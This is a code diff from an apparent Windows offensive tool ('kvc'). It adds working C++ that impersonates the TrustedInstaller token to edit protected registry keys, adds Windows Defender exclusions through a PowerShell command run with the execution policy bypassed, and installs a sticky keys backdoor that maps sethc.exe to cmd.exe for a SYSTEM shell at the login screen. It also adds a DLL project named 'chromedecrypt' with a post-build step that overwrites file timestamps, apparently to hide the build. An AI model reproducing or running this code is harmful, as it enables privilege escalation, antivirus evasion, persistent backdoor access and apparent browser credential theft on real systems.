(%zu bytes)", subKey.c_str(), valueName.c_str(), data.size()); + } else { + ERROR(L"Failed to write registry binary (error: %d)", result); + } + + return (result == ERROR_SUCCESS); +} + +bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootKey, + const std::wstring& subKey, + const std::wstring& valueName, + std::wstring& outValue) noexcept +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) { + ERROR(L"Failed to get TrustedInstaller token"); + return false; + } + + if (!ImpersonateLoggedOnUser(hToken)) { + ERROR(L"Failed to impersonate TrustedInstaller"); + return false; + } + + HKEY hKey; + LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_QUERY_VALUE, &hKey); + + if (openResult != ERROR_SUCCESS) { + ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult); + RevertToSelf(); + return false; + } + + DWORD dataSize = 0; + DWORD dataType = 0; + LONG queryResult = RegQueryValueExW(hKey, valueName.c_str(), NULL, &dataType, NULL, &dataSize); + + if (queryResult != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) { + ERROR(L"Failed to query registry value size (error: %d, type: %d)", queryResult, dataType); + RegCloseKey(hKey); + RevertToSelf(); + return false; + } + + std::vector buffer(dataSize / sizeof(wchar_t)); + LONG result = RegQueryValueExW( + hKey, + valueName.c_str(), + NULL, + &dataType, + (LPBYTE)buffer.data(), + &dataSize + ); + + RegCloseKey(hKey); + RevertToSelf(); + + if (result == ERROR_SUCCESS) { + outValue = std::wstring(buffer.data()); + SUCCESS(L"Registry value read: %s\\%s", subKey.c_str(), valueName.c_str()); + return true; + } else { + ERROR(L"Failed to read registry value (error: %d)", result); + return false; + } +} + +bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey, + const std::wstring& subKey) noexcept +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) { + ERROR(L"Failed to get TrustedInstaller token"); + return false; + } + + if (!ImpersonateLoggedOnUser(hToken)) { + ERROR(L"Failed to impersonate TrustedInstaller"); + return false; + } + + LONG result = RegDeleteTreeW(hRootKey, subKey.c_str()); + + RevertToSelf(); + + if (result == ERROR_SUCCESS) { + SUCCESS(L"Registry key deleted: %s", subKey.c_str()); + } else { + ERROR(L"Failed to delete registry key: %s (error: %d)", subKey.c_str(), result); + } + + return (result == ERROR_SUCCESS); +} + +// ============================================================================ +// DEFENDER EXCLUSION MANAGEMENT +// ============================================================================ + +bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension) noexcept +{ + if (extension.empty()) return false; + const std::wstring invalidChars = L"\\/:*?\"<>|"; + for (wchar_t c : extension) { + if (invalidChars.find(c) != std::wstring::npos) return false; + } + return true; +} + +bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress) noexcept +{ + if (ipAddress.empty()) return false; + + std::string narrowIp; + for (wchar_t c : ipAddress) { + if (c > 127) return false; + narrowIp += (char)c; + } + + int dots = 0; + bool hasDigit = false; + for (char c : narrowIp) { + if (c == '.') { + dots++; + if (!hasDigit) return false; + hasDigit = false; + } else if (c == '/') { + break; + } else if (c >= '0' && c <= '9') { + hasDigit = true; + } else { + return false; + } + } + + return (dots == 3 && hasDigit); +} + +std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring& extension) noexcept +{ + std::wstring normalized = extension; + std::transform(normalized.begin(), normalized.end(), normalized.begin(), ::towlower); + + if (!normalized.empty() && normalized[0] != L'.') { + normalized = L"." + normalized; + } + + return normalized; +} + +std::wstring TrustedInstallerIntegrator::ExtractProcessName(const std::wstring& fullPath) noexcept +{ + size_t lastSlash = fullPath.find_last_of(L"\\/"); + if (lastSlash != std::wstring::npos) { + return fullPath.substr(lastSlash + 1); + } + return fullPath; +} + +bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const std::wstring& value) +{ + std::wstring processedValue = value; + + switch (type) { + case ExclusionType::Extensions: + if (!ValidateExtension(value)) { + ERROR(L"Invalid extension format: %s", value.c_str()); + return false; + } + processedValue = NormalizeExtension(value); + break; + + case ExclusionType::IpAddresses: + if (!ValidateIpAddress(value)) { + ERROR(L"Invalid IP address format: %s", value.c_str()); + return false; + } + break; + + case ExclusionType::Processes: + processedValue = ExtractProcessName(value); + break; + } + + const wchar_t* prefNames[] = { + L"ExclusionPath", + L"ExclusionProcess", + L"ExclusionExtension", + L"ExclusionIpAddress" + }; + + std::wstring command = L"powershell.exe -ExecutionPolicy Bypass -Command \"Add-MpPreference -"; + command += prefNames[(int)type]; + command += L" '"; + command += processedValue; + command += L"'\""; + + INFO(L"Adding Defender exclusion: %s = %s", prefNames[(int)type], processedValue.c_str()); + + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Defender exclusion added successfully"); + } else { + ERROR(L"Failed to add Defender exclusion"); + } + + return result; +} + +bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, const std::wstring& value) +{ + std::wstring processedValue = value; + + switch (type) { + case ExclusionType::Extensions: + processedValue = NormalizeExtension(value); + break; + case ExclusionType::Processes: + processedValue = ExtractProcessName(value); + break; + } + + const wchar_t* prefNames[] = { + L"ExclusionPath", + L"ExclusionProcess", + L"ExclusionExtension", + L"ExclusionIpAddress" + }; + + std::wstring command = L"powershell.exe -ExecutionPolicy Bypass -Command \"Remove-MpPreference -"; + command += prefNames[(int)type]; + command += L" '"; + command += processedValue; + command += L"'\""; + + INFO(L"Removing Defender exclusion: %s = %s", prefNames[(int)type], processedValue.c_str()); + + return RunAsTrustedInstallerSilent(command); +} + +bool TrustedInstallerIntegrator::AddPathExclusion(const std::wstring& path) { + return AddDefenderExclusion(ExclusionType::Paths, path); +} + +bool TrustedInstallerIntegrator::RemovePathExclusion(const std::wstring& path) { + return RemoveDefenderExclusion(ExclusionType::Paths, path); +} + +bool TrustedInstallerIntegrator::AddProcessExclusion(const std::wstring& processName) { + return AddDefenderExclusion(ExclusionType::Processes, processName); +} + +bool TrustedInstallerIntegrator::RemoveProcessExclusion(const std::wstring& processName) { + return RemoveDefenderExclusion(ExclusionType::Processes, processName); +} + +bool TrustedInstallerIntegrator::AddExtensionExclusion(const std::wstring& extension) { + return AddDefenderExclusion(ExclusionType::Extensions, extension); +} + +bool TrustedInstallerIntegrator::RemoveExtensionExclusion(const std::wstring& extension) { + return RemoveDefenderExclusion(ExclusionType::Extensions, extension); +} + +bool TrustedInstallerIntegrator::AddIpAddressExclusion(const std::wstring& ipAddress) { + return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress); +} + +bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(const std::wstring& ipAddress) { + return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress); +} + +bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(const std::wstring& processName) { + return AddProcessExclusion(processName); +} + +bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(const std::wstring& processName) { + return RemoveProcessExclusion(processName); +} + +bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& customPath) +{ + wchar_t currentPath[MAX_PATH]; + + if (customPath.empty()) { + if (GetModuleFileNameW(NULL, currentPath, MAX_PATH) == 0) { + ERROR(L"Failed to get current module path"); + return false; + } + } else { + if (customPath.length() >= MAX_PATH) { + ERROR(L"File path too long"); + return false; + } + wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); + } + + fs::path filePath(currentPath); + bool isExecutable = (filePath.extension().wstring() == L".exe"); + + if (isExecutable) { + return AddProcessExclusion(filePath.filename().wstring()); + } else { + return AddPathExclusion(currentPath); + } +} + +bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring& customPath) +{ + wchar_t currentPath[MAX_PATH]; + + if (customPath.empty()) { + if (GetModuleFileNameW(NULL, currentPath, MAX_PATH) == 0) { + ERROR(L"Failed to get current module path"); + return false; + } + } else { + if (customPath.length() >= MAX_PATH) { + ERROR(L"File path too long"); + return false; + } + wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); + } + + fs::path filePath(currentPath); + bool isExecutable = (filePath.extension().wstring() == L".exe"); + + if (isExecutable) { + return RemoveProcessExclusion(filePath.filename().wstring()); + } else { + return RemoveDefenderExclusion(ExclusionType::Paths, currentPath); + } +} + +// ============================================================================ +// STICKY KEYS BACKDOOR +// ============================================================================ + +bool TrustedInstallerIntegrator::InstallStickyKeysBackdoor() noexcept +{ + INFO(L"Installing sticky keys backdoor with Defender bypass..."); + + if (!AddProcessToDefenderExclusions(L"cmd.exe")) { + INFO(L"AV exclusion skipped for cmd.exe (continuing)"); + } + + HKEY hKey; + std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"; + LONG result = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL, + REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL); + + if (result != ERROR_SUCCESS) { + ERROR(L"Failed to create IFEO registry key: %d", result); + RemoveProcessFromDefenderExclusions(L"cmd.exe"); + return false; + } + + std::wstring debuggerValue = L"cmd.exe"; + result = RegSetValueExW(hKey, L"Debugger", 0, REG_SZ, + reinterpret_cast(debuggerValue.c_str()), + static_cast((debuggerValue.length() + 1) * sizeof(wchar_t))); + + RegCloseKey(hKey); + + if (result != ERROR_SUCCESS) { + ERROR(L"Failed to set Debugger registry value: %d", result); + RemoveProcessFromDefenderExclusions(L"cmd.exe"); + return false; + } + + SUCCESS(L"Sticky keys backdoor installed successfully"); + SUCCESS(L"Press 5x Shift on login screen to get SYSTEM cmd.exe"); + return true; +} + +bool TrustedInstallerIntegrator::RemoveStickyKeysBackdoor() noexcept +{ + INFO(L"Removing sticky keys backdoor..."); + + bool success = true; + + std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"; + LONG result = RegDeleteKeyW(HKEY_LOCAL_MACHINE, keyPath.c_str()); + + if (result != ERROR_SUCCESS && result != ERROR_FILE_NOT_FOUND) { + ERROR(L"Failed to remove IFEO registry key: %d", result); + success = false; + } else if (result == ERROR_SUCCESS) { + SUCCESS(L"IFEO registry key removed"); + } + + if (!RemoveProcessFromDefenderExclusions(L"cmd.exe")) { + INFO(L"AV cleanup skipped for cmd.exe"); + } + + if (success) { + SUCCESS(L"Sticky keys backdoor removed successfully"); + } else { + INFO(L"Sticky keys backdoor removal completed with some errors"); + } + + return success; +} + +// ============================================================================ +// CONTEXT MENU INTEGRATION +// ============================================================================ + +bool TrustedInstallerIntegrator::AddContextMenuEntries() +{ + wchar_t currentPath[MAX_PATH]; + GetModuleFileNameW(NULL, currentPath, MAX_PATH); + + std::wstring command = L"\""; + command += currentPath; + command += L"\" trusted \"%1\""; + + std::wstring iconPath = L"shell32.dll,77"; + + HKEY hKey; + DWORD dwDisposition; + + if (RegCreateKeyExW(HKEY_CLASSES_ROOT, L"exefile\\shell\\RunAsTrustedInstaller", 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) + { + std::wstring menuText = L"Run as TrustedInstaller"; + RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)menuText.c_str(), + (DWORD)(menuText.length() + 1) * sizeof(wchar_t)); + RegSetValueExW(hKey, L"Icon", 0, REG_SZ, (const BYTE*)iconPath.c_str(), + (DWORD)(iconPath.length() + 1) * sizeof(wchar_t)); + + HKEY hCommandKey; + if (RegCreateKeyExW(hKey, L"command", 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hCommandKey, &dwDisposition) == ERROR_SUCCESS) + { + RegSetValueExW(hCommandKey, NULL, 0, REG_SZ, (const BYTE*)command.c_str(), + (DWORD)(command.length() + 1) * sizeof(wchar_t)); + RegCloseKey(hCommandKey); + } + + RegCloseKey(hKey); + } + + if (RegCreateKeyExW(HKEY_CLASSES_ROOT, L"lnkfile\\shell\\RunAsTrustedInstaller", 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) + { + std::wstring menuText = L"Run as TrustedInstaller"; + RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)menuText.c_str(), + (DWORD)(menuText.length() + 1) * sizeof(wchar_t)); + RegSetValueExW(hKey, L"Icon", 0, REG_SZ, (const BYTE*)iconPath.c_str(), + (DWORD)(iconPath.length() + 1) * sizeof(wchar_t)); + + HKEY hCommandKey; + if (RegCreateKeyExW(hKey, L"command", 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hCommandKey, &dwDisposition) == ERROR_SUCCESS) + { + RegSetValueExW(hCommandKey, NULL, 0, REG_SZ, (const BYTE*)command.c_str(), + (DWORD)(command.length() + 1) * sizeof(wchar_t)); + RegCloseKey(hCommandKey); + } + + RegCloseKey(hKey); + } + + SUCCESS(L"Context menu entries added"); + return true; +} + +// ============================================================================ +// HELPER UTILITIES +// ============================================================================ + DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); @@ -877,72 +1119,40 @@ DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName) return pid; } -/** - * @brief Validates that a string is a plausible file extension. - */ -bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension) noexcept +bool TrustedInstallerIntegrator::IsLnkFile(LPCWSTR path) { - if (extension.empty()) return false; - const std::wstring invalidChars = L"\\/:*?\"<>|"; - for (wchar_t c : extension) { - if (invalidChars.find(c) != std::wstring::npos) return false; - } - return true; + if (!path) return false; + size_t len = wcslen(path); + if (len < 4) return false; + return (_wcsicmp(path + len - 4, L".lnk") == 0); } -/** - * @brief Performs a basic validation of an IPv4 address string, with optional CIDR notation. - */ -bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress) noexcept +std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath) { - if (ipAddress.empty()) return false; + IShellLinkW* pShellLink = nullptr; + IPersistFile* pPersistFile = nullptr; + wchar_t targetPath[MAX_PATH] = {0}; - std::string narrowIp; - for (wchar_t c : ipAddress) { - if (c > 127) return false; // Non-ASCII. - narrowIp.push_back(static_cast(c)); + HRESULT hr = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (void**)&pShellLink); + if (FAILED(hr)) return L""; + + hr = pShellLink->QueryInterface(IID_IPersistFile, (void**)&pPersistFile); + if (FAILED(hr)) { + pShellLink->Release(); + return L""; } - size_t slashPos = narrowIp.find('/'); - std::string ipPart = (slashPos != std::string::npos) ? narrowIp.substr(0, slashPos) : narrowIp; - - if (std::count(ipPart.begin(), ipPart.end(), '.') != 3) return false; - - for (char c : ipPart) { - if (!std::isdigit(c) && c != '.') return false; + hr = pPersistFile->Load(lnkPath, STGM_READ); + if (FAILED(hr)) { + pPersistFile->Release(); + pShellLink->Release(); + return L""; } - - if (slashPos != std::string::npos) { - std::string cidr = narrowIp.substr(slashPos + 1); - if (cidr.empty() || !std::all_of(cidr.begin(), cidr.end(), ::isdigit)) return false; - try { - int cidrValue = std::stoi(cidr); - if (cidrValue < 0 || cidrValue > 32) return false; - } catch (...) { return false; } - } - - return true; -} -/** - * @brief Ensures a file extension starts with a dot. - */ -std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring& extension) noexcept -{ - if (extension.empty()) return extension; - return (extension[0] != L'.') ? (L"." + extension) : extension; -} + hr = pShellLink->GetPath(targetPath, MAX_PATH, NULL, 0); -/** - * @brief Converts an ExclusionType enum to the string required by PowerShell cmdlets. - */ -std::wstring TrustedInstallerIntegrator::GetExclusionTypeString(ExclusionType type) noexcept -{ - switch (type) { - case ExclusionType::Paths: return L"Path"; - case ExclusionType::Processes: return L"Process"; - case ExclusionType::Extensions: return L"Extension"; - case ExclusionType::IpAddresses: return L"IpAddress"; - default: return L"Path"; - } + pPersistFile->Release(); + pShellLink->Release(); + + return (SUCCEEDED(hr) && targetPath[0] != 0) ? std::wstring(targetPath) : L""; } \ No newline at end of file diff --git a/kvc/TrustedInstallerIntegrator.h b/kvc/TrustedInstallerIntegrator.h index fda89c2..4e51ab4 100644 --- a/kvc/TrustedInstallerIntegrator.h +++ b/kvc/TrustedInstallerIntegrator.h @@ -1,324 +1,101 @@ -/** - * @file TrustedInstallerIntegrator.h - * @brief TrustedInstaller privilege escalation and system-level operations - * @author Marek Wesolowski - * @date 2025 - * @copyright KVC Framework - * - * Provides maximum privilege access through TrustedInstaller token impersonation, - * enabling registry manipulation, Defender exclusions, and protected system operations. - * Bypasses UAC and achieves SYSTEM + TrustedInstaller privileges for maximum access. - */ - #pragma once #include #include #include -/** - * @class TrustedInstallerIntegrator - * @brief Manages TrustedInstaller privilege escalation for maximum system access - * - * This class handles: - * - Token acquisition and caching from TrustedInstaller service - * - Elevated command execution with SYSTEM + TrustedInstaller privileges - * - Windows Defender exclusion management (paths, processes, extensions, IPs) - * - Sticky keys backdoor installation/removal - * - Context menu registry integration - * - Comprehensive privilege enablement for maximum system access - * - * @note Requires administrative privileges for initial token acquisition - * @warning TrustedInstaller access provides complete system control - */ class TrustedInstallerIntegrator { public: - /** - * @brief Construct TrustedInstaller integrator - * - * Initializes internal state but does not acquire tokens immediately. - * Token acquisition happens on first privileged operation. - */ TrustedInstallerIntegrator(); - - /** - * @brief Destructor with token cleanup - * - * Releases any acquired tokens and reverts impersonation if active. - */ ~TrustedInstallerIntegrator(); - /** - * @brief Types of Windows Defender exclusions - * - * Categorizes different exclusion types for precise Defender management. - */ enum class ExclusionType { - Paths, ///< File/folder path exclusions (e.g., "C:\Windows\Temp") - Processes, ///< Process name exclusions (e.g., "notepad.exe") - Extensions, ///< File extension exclusions (e.g., ".exe", ".dll") - IpAddresses ///< IP address exclusions (e.g., "192.168.1.1", "10.0.0.0/24") + Paths, + Processes, + Extensions, + IpAddresses }; - /** - * @brief Execute command with TrustedInstaller privileges (visible window) - * @param commandLine Command to execute - * @return true if execution successful - * @note Shows command window during execution - * @note Uses CreateProcessAsTrustedInstaller internally - */ + // Process execution bool RunAsTrustedInstaller(const std::wstring& commandLine); - - /** - * @brief Execute command with TrustedInstaller privileges (hidden window) - * @param commandLine Command to execute - * @return true if execution successful and exit code 0 - * @note Waits up to 3 seconds for process completion - * @note Uses CreateProcessAsTrustedInstallerSilent internally - */ bool RunAsTrustedInstallerSilent(const std::wstring& commandLine); - /** - * @brief Add file/process to Windows Defender exclusions (legacy method) - * @param customPath Path to exclude (empty = current executable) - * @return true if exclusion added successfully - * @note For executables, adds both path and process exclusions - * @note Uses PowerShell Add-MpPreference cmdlet - */ - bool AddToDefenderExclusions(const std::wstring& customPath = L""); + // File operations (NEW - direct write/delete with TrustedInstaller) + bool WriteFileAsTrustedInstaller(const std::wstring& filePath, + const std::vector& data) noexcept; + bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept; - /** - * @brief Remove file/process from Windows Defender exclusions (legacy method) - * @param customPath Path to remove (empty = current executable) - * @return true if exclusion removed successfully - * @note Uses PowerShell Remove-MpPreference cmdlet - */ + // Registry operations (NEW - direct registry access with TrustedInstaller) + bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey, + const std::wstring& subKey) noexcept; + bool WriteRegistryValueAsTrustedInstaller(HKEY hRootKey, + const std::wstring& subKey, + const std::wstring& valueName, + const std::wstring& value) noexcept; + bool WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey, + const std::wstring& subKey, + const std::wstring& valueName, + DWORD value) noexcept; + bool WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey, + const std::wstring& subKey, + const std::wstring& valueName, + const std::vector& data) noexcept; + bool ReadRegistryValueAsTrustedInstaller(HKEY hRootKey, + const std::wstring& subKey, + const std::wstring& valueName, + std::wstring& outValue) noexcept; + bool DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey, + const std::wstring& subKey) noexcept; + + // Defender exclusions + bool AddDefenderExclusion(ExclusionType type, const std::wstring& value); + bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value); + bool AddToDefenderExclusions(const std::wstring& customPath = L""); bool RemoveFromDefenderExclusions(const std::wstring& customPath = L""); - /** - * @brief Add Windows Explorer context menu entries - * @return true if registry keys created successfully - * @note Adds "Run as TrustedInstaller" to right-click menu - * @note Requires TrustedInstaller privileges for HKLM registry access - */ - bool AddContextMenuEntries(); - - /** - * @brief Add exclusion to Windows Defender by type - * @param type Exclusion type (Paths/Processes/Extensions/IpAddresses) - * @param value Value to exclude - * @return true if exclusion added successfully - * @note Uses PowerShell Add-MpPreference cmdlet - * @note Validates input based on exclusion type - */ - bool AddDefenderExclusion(ExclusionType type, const std::wstring& value); - - /** - * @brief Remove exclusion from Windows Defender by type - * @param type Exclusion type (Paths/Processes/Extensions/IpAddresses) - * @param value Value to remove - * @return true if exclusion removed successfully - * @note Uses PowerShell Remove-MpPreference cmdlet - */ - bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value); - - /** - * @brief Add file extension exclusion - * @param extension Extension to exclude (e.g., ".exe", ".dll") - * @return true if exclusion added successfully - * @note Automatically adds leading dot if missing - * @note Validates extension format - */ + bool AddPathExclusion(const std::wstring& path); + bool RemovePathExclusion(const std::wstring& path); + bool AddProcessExclusion(const std::wstring& processName); + bool RemoveProcessExclusion(const std::wstring& processName); bool AddExtensionExclusion(const std::wstring& extension); - - /** - * @brief Remove file extension exclusion - * @param extension Extension to remove - * @return true if exclusion removed successfully - */ bool RemoveExtensionExclusion(const std::wstring& extension); - - /** - * @brief Add IP address exclusion - * @param ipAddress IP address or CIDR notation (e.g., "192.168.1.1", "10.0.0.0/24") - * @return true if exclusion added successfully - * @note Validates IP address format - */ bool AddIpAddressExclusion(const std::wstring& ipAddress); - - /** - * @brief Remove IP address exclusion - * @param ipAddress IP address or CIDR notation to remove - * @return true if exclusion removed successfully - */ bool RemoveIpAddressExclusion(const std::wstring& ipAddress); - /** - * @brief Install sticky keys backdoor (sethc.exe -> cmd.exe) - * @return true if backdoor installed successfully - * @note Requires system restart, adds cmd.exe to Defender exclusions - * @warning Security risk - only for authorized testing - * @note Uses Image File Execution Options registry key - */ - bool InstallStickyKeysBackdoor() noexcept; - - /** - * @brief Remove sticky keys backdoor and restore original behavior - * @return true if backdoor removed successfully - * @note Removes IFEO registry key and Defender exclusions - */ - bool RemoveStickyKeysBackdoor() noexcept; - - /** - * @brief Add process to Windows Defender exclusions - * @param processName Process name (e.g., "notepad.exe") - * @return true if exclusion added successfully - * @note Validates process name format - */ bool AddProcessToDefenderExclusions(const std::wstring& processName); - - /** - * @brief Remove process from Windows Defender exclusions - * @param processName Process name to remove - * @return true if exclusion removed successfully - */ bool RemoveProcessFromDefenderExclusions(const std::wstring& processName); - /** - * @brief Get array of all privilege names - * @return Pointer to array of privilege name strings - * @note Used for enabling comprehensive privileges on TrustedInstaller token - */ - static const LPCWSTR* GetAllPrivileges() { return ALL_PRIVILEGES; } + // Sticky keys backdoor + bool InstallStickyKeysBackdoor() noexcept; + bool RemoveStickyKeysBackdoor() noexcept; - /** - * @brief Get count of privileges in ALL_PRIVILEGES array - * @return Number of privilege names - */ - static int GetPrivilegeCount() { return PRIVILEGE_COUNT; } + // Context menu + bool AddContextMenuEntries(); - /** - * @brief Impersonate SYSTEM account - * @return true if impersonation successful - * @note Required step before acquiring TrustedInstaller token - * @note Uses SeDebugPrivilege to access SYSTEM processes - */ + // Token access + HANDLE GetCachedTrustedInstallerToken(); + DWORD StartTrustedInstallerService(); bool PublicImpersonateSystem() { return ImpersonateSystem(); } - /** - * @brief Get cached TrustedInstaller token or acquire new one - * @return Handle to TrustedInstaller token, or nullptr on failure - * @note Token cached for 30 seconds, automatically enables all privileges - * @note Acquires token from TrustedInstaller service process - */ - HANDLE GetCachedTrustedInstallerToken(); - - /** - * @brief Start TrustedInstaller service and get its PID - * @return Process ID of TrustedInstaller service, or 0 on failure - * @note Waits up to 30 seconds for service to start - * @note Requires SC_MANAGER_ALL_ACCESS privileges - */ - DWORD StartTrustedInstallerService(); + static const LPCWSTR* GetAllPrivileges() { return ALL_PRIVILEGES; } + static int GetPrivilegeCount() { return PRIVILEGE_COUNT; } private: - /** - * @brief Complete Windows privilege set for maximum access - * - * Array containing all Windows privilege names for comprehensive enablement - * on TrustedInstaller token. Includes backup, restore, debug, and security privileges. - */ static const LPCWSTR ALL_PRIVILEGES[]; - - /** - * @brief Number of privileges in ALL_PRIVILEGES array - */ static const int PRIVILEGE_COUNT; - /** - * @brief Impersonate SYSTEM account using SeDebugPrivilege - * @return true if impersonation successful - * @note Internal implementation used by PublicImpersonateSystem() - */ + BOOL EnablePrivilegeInternal(LPCWSTR privilegeName); BOOL ImpersonateSystem(); - - /** - * @brief Create process with TrustedInstaller token (visible window) - * @param pid TrustedInstaller process ID - * @param commandLine Command to execute - * @return true if process creation successful - */ BOOL CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine); - - /** - * @brief Create process with TrustedInstaller token (hidden window) - * @param pid TrustedInstaller process ID - * @param commandLine Command to execute - * @return true if process creation successful - */ BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine); - /** - * @brief Enable specific privilege in current token - * @param privilegeName Privilege name to enable - * @return true if privilege enabled successfully - */ - BOOL EnablePrivilegeInternal(LPCWSTR privilegeName); - - /** - * @brief Add path exclusion to Windows Defender - * @param path Path to exclude - * @return true if exclusion added successfully - */ - bool AddPathExclusion(const std::wstring& path); - - /** - * @brief Get process ID by process name - * @param processName Process name to find - * @return Process ID if found, 0 if not found - */ DWORD GetProcessIdByName(LPCWSTR processName); - - /** - * @brief Check if file is a Windows shortcut (.lnk) - * @param filePath File path to check - * @return true if file is a .lnk shortcut - */ - BOOL IsLnkFile(LPCWSTR filePath); - - /** - * @brief Resolve .lnk shortcut to target path - * @param lnkPath Path to .lnk file - * @return Resolved target path, empty on failure - */ + bool IsLnkFile(LPCWSTR path); std::wstring ResolveLnk(LPCWSTR lnkPath); - /** - * @brief Validate file extension format - * @param extension Extension to validate - * @return true if extension format is valid - */ bool ValidateExtension(const std::wstring& extension) noexcept; - - /** - * @brief Validate IP address format - * @param ipAddress IP address to validate - * @return true if IP address format is valid - */ bool ValidateIpAddress(const std::wstring& ipAddress) noexcept; - - /** - * @brief Normalize extension format (ensure leading dot) - * @param extension Extension to normalize - * @return Normalized extension with leading dot - */ std::wstring NormalizeExtension(const std::wstring& extension) noexcept; - - /** - * @brief Get string representation of exclusion type - * @param type Exclusion type - * @return String representation for PowerShell commands - */ - std::wstring GetExclusionTypeString(ExclusionType type) noexcept; + std::wstring ExtractProcessName(const std::wstring& fullPath) noexcept; }; \ No newline at end of file diff --git a/kvc/kvc_crypt2.vcxproj b/kvc/kvc_crypt2.vcxproj new file mode 100644 index 0000000..9e188b7 --- /dev/null +++ b/kvc/kvc_crypt2.vcxproj @@ -0,0 +1,99 @@ + + + + + Release + x64 + + + + 16.0 + {87654321-4321-4321-4321-123456789DEF} + chromedecrypt + 10.0 + + + + DynamicLibrary + false + v143 + true + Unicode + MultiThreaded + + + + + + + + + + false + $(SolutionDir)bin\x64\Release\ + $(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\ + kvc_crypt + + + + Level3 + true + true + false + NDEBUG;_WINDOWS;_USRDLL;BUILDING_DLL;%(PreprocessorDefinitions) + true + stdcpplatest + false + MultiThreaded + MinSpace + true + true + /utf-8 /GS- /Gy /Gw /Os /Brepro %(AdditionalOptions) + ole32.lib;oleaut32.lib;%(IgnoreSpecificDefaultLibraries) + + + Windows + true + true + false + ole32.lib;oleaut32.lib;shell32.lib;bcrypt.lib;crypt32.lib;winsqlite3.lib;%(AdditionalDependencies) + $(ProjectDir);%(AdditionalLibraryDirectories) + /OPT:REF /OPT:ICF=10 /MERGE:.rdata=.text /NXCOMPAT /Brepro /NOIMPLIB /NOEXP /INCREMENTAL:NO %(AdditionalOptions) + kvc_crypt.def + Default + true + MachineX64 + + + powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}" + + + 0x0409 + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kvc/kvc_pass.vcxproj b/kvc/kvc_pass.vcxproj index 7d33b80..cf83260 100644 --- a/kvc/kvc_pass.vcxproj +++ b/kvc/kvc_pass.vcxproj @@ -45,12 +45,9 @@ true stdcpplatest false - MultiThreadedDLL - MinSpace Size - /utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions) @@ -58,7 +55,6 @@ true true false - /OPT:REF /OPT:ICF=5 /MERGE:.rdata=.text /MERGE:.pdata=.text /NXCOMPAT /INCREMENTAL:NO /Brepro %(AdditionalOptions)